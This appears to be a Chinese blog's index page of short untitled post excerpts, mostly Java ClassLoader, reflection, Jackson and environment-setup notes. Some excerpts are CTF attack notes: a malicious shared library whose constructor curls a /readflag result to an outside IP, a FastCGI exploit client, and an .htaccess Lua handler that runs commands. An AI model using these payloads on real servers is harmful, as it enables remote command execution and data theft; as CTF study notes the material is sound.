无题
运行前先编译成class,类初始化的时候调用java.lang.ClassLoader加载字节码,ClassLoader调用JVM的native方法来定义一个java.lang.Class实例 启动类加载器: 将/lib下目录下的类加载到虚拟机内存中,加载java的核心库,不继承java.lang.ClassLoader,不能被java程序调用,是使用c++编写的 拓展类加载器:加载/lib/ext下的,拓展库,可以直接使用 应用程序类加载器:一般情况下是系统默认的类加载器 层次结构大概如下 Bootstrap ClassLoader Extension ClassLoader App ClassLoader 默认使用第三个,ClassLoader.getSystemClassLoader()返回的是第三个 获取类加载器的时候如果返回null,那么就是被Bootstrap加载的 核心方法 loadClass 加载指定类 findClass 查找指定类 findLoadedClass 查找JVM已经加载过的类 defineClass 定义一个类 resolveClass 链接指 ...
无题
package tmp;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Modifier;import java.lang.reflect.Method;public class test { public interface Hello { void morning(String name); } public static class HelloWorld implements Hello { public void morning(String name) { System.out.println("Good morning, " + name); } } public static void main(String[] args) throws Ex ...
无题
按WIN+R键,输入regedit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PasswordLess\Device DevicePasswordLessBuildVersion,双击打开 改成0 然后再win+R 输入netplwiz,取消复选框即可
无题
无题
waydroid 不是很稳定,重启应用会进入窗口模式,或者卡死 配置嘛,就是安装 waydroid 好像没有什么卡的地方,按照网上来的 avd export QT_QPA_PLATFORM=xcb; $HOME/Android/Sdk/emulator/emulator -avd Pixel_2_Edited_API_30 -netdelay none -netspeed full -gpu swiftshader_indirect 但是占用很高诶
无题
呜呜呜,小瞧你了,caddy caddy 首先安装go wget https://go.dev/dl/go1.21.3.linux-amd64.tar.gz tar -zxvf # 移动到自定义目录mkdir -p /opt/devtoolsmv go /opt/devtools/go# 创建 go 相关目录mkdir -p ${HOME}/gopath/{src,bin,pkg} # 打开profile文件vim /etc/profile# 添加以下内容export GOROOT='/opt/devtools/go'export GOPATH="${HOME}/gopath"# 如果是国内机器,需要导入添加代理# export GOPROXY='Goproxy.cn' export PATH="${GOROOT}/bin:${GOPATH}/bin:${PATH}"# 让配置生效 ...
无题
arp arp ARP cache========= IP address MAC address Interface ---------- ----------- --------- 172.26.21.2 fa:16:3e:fc:72:0c eth0 172.26.21.254 fa:16:3e:a2:5e:55 eth0
无题
fastcgi fastcgi-1 直接包含就可以??记得把so文件也传一下 <?phpclass TimedOutException extends Exception {}class ForbiddenException extends Exception {}class Client {const VERSION_1 = 1;const BEGIN_REQUEST = 1;const ABORT_REQUEST = 2;const END_REQUEST = 3;const PARAMS = 4;const STDIN = 5;const STDOUT = 6;const STDERR = 7;const DATA = 8;const GET_VALUES = 9;const GET_VALUES_RESULT = 10;const UNKNOWN_TYPE = 11;const MAXTYPE = self::UNKNOWN_TYPE;const RESPONDER = 1;const AUTHORIZER = 2;con ...
无题
编译恶意so #define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>__attribute__ ((__constructor__)) void preload (void){ system("curl 165.154.5.221:6666/`/readflag`");} gcc hack.c -fPIC -shared -o hack.so编译 传到题目上 copy('http://vps/hack.so','/tmp/hack.so')
无题
让.htaccess解析lua AddHandler lua-script .lua require "string"--[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point.--]]function handle(r) r.content_type = "text/plain" if r.method == 'GET' then local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) for k, v in pairs( r:parseargs() ) do ...
无题
Jackson 的核心模块由三部分组成。 jackson-core,核心包,提供基于"流模式"解析的相关 API,它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。 jackson-annotations,注解包,提供标准注解功能; jackson-databind ,数据绑定包, 提供基于"对象绑定" 解析的相关 API ( ObjectMapper ) 和"树模型" 解析的相关 API (JsonNode);基于"对象绑定" 解析的 API 和"树模型"解析的 API 依赖基于"流模式"解析的 API。 <dependencies> <dependency> <groupId>com.fasterxml.jackson.core</gr ...
11-20
怅然若失
avatar
dionysus
我醉欲眠卿且去
此心安处
公告